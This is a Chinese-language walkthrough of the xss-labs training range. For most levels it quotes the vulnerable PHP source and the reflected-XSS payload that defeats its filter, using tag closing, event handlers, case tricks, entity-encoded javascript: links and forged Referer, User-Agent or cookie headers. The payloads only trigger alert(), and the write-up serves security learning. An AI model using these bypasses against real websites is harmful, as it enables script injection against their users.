反射型xss危害小,這里使用的xss靶場是常用的xss靶場:xss-labs。
當我們完成彈窗后就通過該關卡,說該關卡存在xss的一個漏洞并且可以解析js代碼。
第一關:
?
這里沒有過濾我們輸入的代碼:直接將js代碼放在js代碼中,js代碼被執行。
第二關:
?
在這里,對我們的輸入的keyword值使用htmlspecialchars 函數進行了過濾,對 ‘ “ < > & 進行了實體編碼。雖然可以對其進行解碼,但是再不會進入到標簽開始狀態了,所以如果直接寫<script>alert(1)</script>并不會觸發。
所以,我們在h2中無法進行操作了,我們需要在input中進行操作。
解法1:閉合input標簽
<input name=keyword value="sadas"> <script>alert(123)</script> ">
解決方法2:閉合雙引號,添加一個點擊事件。
<input name=keyword value=" asd" onclick="alert(212)">
第二個方法需要用戶點擊輸入框后才會執行,所以沒有第一個方法好。
第三關:
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
在h2中對< >進行了實體編碼,所以不考慮。只考慮Input中。觀察在input中也是用了htmlspecialchars進行編碼,并且在這里為 ’ (單引號)閉合。
我們去php官網查看這個函數發現:如果你要對單引號進行編碼需要設置 ENT_QUOTES
,但這里并沒有設置說明對單引號不起作用。
解決方法:
<input name=keyword value='asd' onclick='alert(12)'>
第四關:
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
這里過濾了< 和 > ,所以無法閉合尖括號產生新標簽。并且還使用htmlspecialchars在h2中進行過濾。所以只看Input。
解決方法:
<input name=keyword value="asd" onclick="alert(12) ">
第五關:
?
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
如上:對關鍵字<script 和 < on進行了替換,并且在h2中進行了過濾,只能考慮input。
在input這里并沒有過濾< > ;所以解決辦法如下。
解決方法:添加a標簽,在a標簽中操作。
<input name=keyword value="sda"> <a href="javascript:alert(12)">asdas</a> ">
第六關:
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
過濾了許多,但是注意在這里并沒有過濾大小寫,所以我們可以大小寫繞過。所以解決方法很多。
注意:在html中是不區分大小寫的,但是在js中是嚴格區分大小寫的。
<script></script> 標簽可以不區分大小寫。比如寫為:<SCRIpt></SCRIPT>
但是在其中的內容要嚴格區分大小寫,比如alert等。
解決方法:
asd" > <a hREf="javascript:alert(12)">asd</a>
<input name=keyword value="asd" > <a hREf="javascript:alert(12)">asd</a> ">
第八關:
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情鏈接 />
</form>
</center>';
?>
<?phpecho '<center><BR><a href="'.$str7.'">友情鏈接</a></center>';
?>
<center><img src=level8.jpg></center>
<?php
echo "<h3 align=center>payload的長度:".strlen($str7)."</h3>";
?>
這里是將我們輸入的內容放到a標簽的href中。很明顯需要使用javascript:這個偽協議。但是這里對我們的輸入進行了過濾,將script替換為了scr_ipt。這里我們可以先將javascript進行實體編碼,在放入。
解決方法: 首先將javascript進行實體編碼:
將實體進行輸入到href中:
javascript:alert(12)
javascript:alert(12)<a href="javascript:alert(12)">友情鏈接</a>
第九關:
?
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情鏈接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{echo '<center><BR><a href="您的鏈接不合法?有沒有!">友情鏈接</a></center>';}
else
{echo '<center><BR><a href="'.$str7.'">友情鏈接</a></center>';
}
這里的過濾和前面類似,但是在后面存在一個strpos函數,用來檢測我們傳的參數中是否有http://,如果有則合法,如果沒有則不和法。
解決方法:
依然將javascript進行實體編碼,不過還需要在后加上http://。
javascript:alert(112);//http://
javascript:alert(112);//http://
注意:在這里我們使用//將http://注釋掉了,雖然注釋掉了但是http://還是存在,所以檢測時我們的輸入是合法的。<center><BR><a href="javascript:alert(112);//http://">友情鏈接</a></center>
第十關:
?
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
</form>
</center>';
我們查看頁面源代碼發現存在隱藏的from表單:其中的input選項被隱藏了。
經過對php的源碼分析發現:接收了一個t_sort參數,最后傳遞給表單中name=t_sort的輸入框,所以我們可以在這里進行操作。這里過濾了< 和> 。
解決方法:
我們可以在url中給t_sort進行賦值,改變input的屬性,改變之后就可以顯示出來,當我們點擊輸入框時它就會彈窗。
/level10.php?t_sort=aaa" type="text" onclick="alert(12)
第十一關:
?
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref" value="'.$str33.'" type="hidden">
</form>
</center>';
加了過濾函數htmlspecialchars的基本不用看了,我們只需要在<input name="t_ref" value="'.$str33.'" type="hidden">觀察即可。
$str11=$_SERVER['HTTP_REFERER']; 它獲取的是我們http請求頭的referer字段。
http中referer字段的含義:
referer可以跟蹤你上網的痕跡,你從哪個網站跳轉到另一個網站,它就會跟蹤到。上面顯示的是你從哪個網站過來的。
解決方法:偽造referer字段。
當我們點擊輸入框后就會彈窗:
第十二關:
偽造user agent
第十三關:
偽造cookies